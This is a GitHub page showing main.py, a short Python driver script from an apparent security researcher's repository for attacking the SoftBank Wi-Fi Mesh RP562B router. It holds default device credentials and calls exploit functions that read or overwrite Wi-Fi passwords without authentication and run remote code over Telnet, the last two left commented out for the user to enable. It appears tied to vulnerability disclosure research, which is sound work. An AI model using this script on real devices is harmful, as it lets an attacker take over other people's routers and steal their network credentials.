-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.py
More file actions
32 lines (24 loc) · 775 Bytes
/
main.py
File metadata and controls
32 lines (24 loc) · 775 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# main.py
# @package SoftBank Mesh API
# @author Samy Younsi - NeroTeam Security Labs <samy@neroteam.com>
# @license Proprietary License - All Rights Reserved
# @docs https://neroteam.com/blog/softbank-wi-fi-mesh-rp562b
import sbmeshAPI
device = {
"mesh_ip": "INSERT_YOUR_DEVICE_IP",
"mesh_username": "user",
"mesh_password": "RTconf01",
"wifi_name": "ThePromisedLan",
"wifi_password": "00000000",
}
"""
Uncomment to use exploits =>
setWifiCreds() and getWifiCreds() NO AUTH REQUIRED
execTelnetRce() - AUTH REQUIRED (mesh_username - mesh_password)
"""
# response = sbmeshAPI.execTelnetRce(device)
# print(response)
# response = sbmeshAPI.setWifiCreds(device)
# print(response)
response = sbmeshAPI.getWifiCreds(device)
print(response)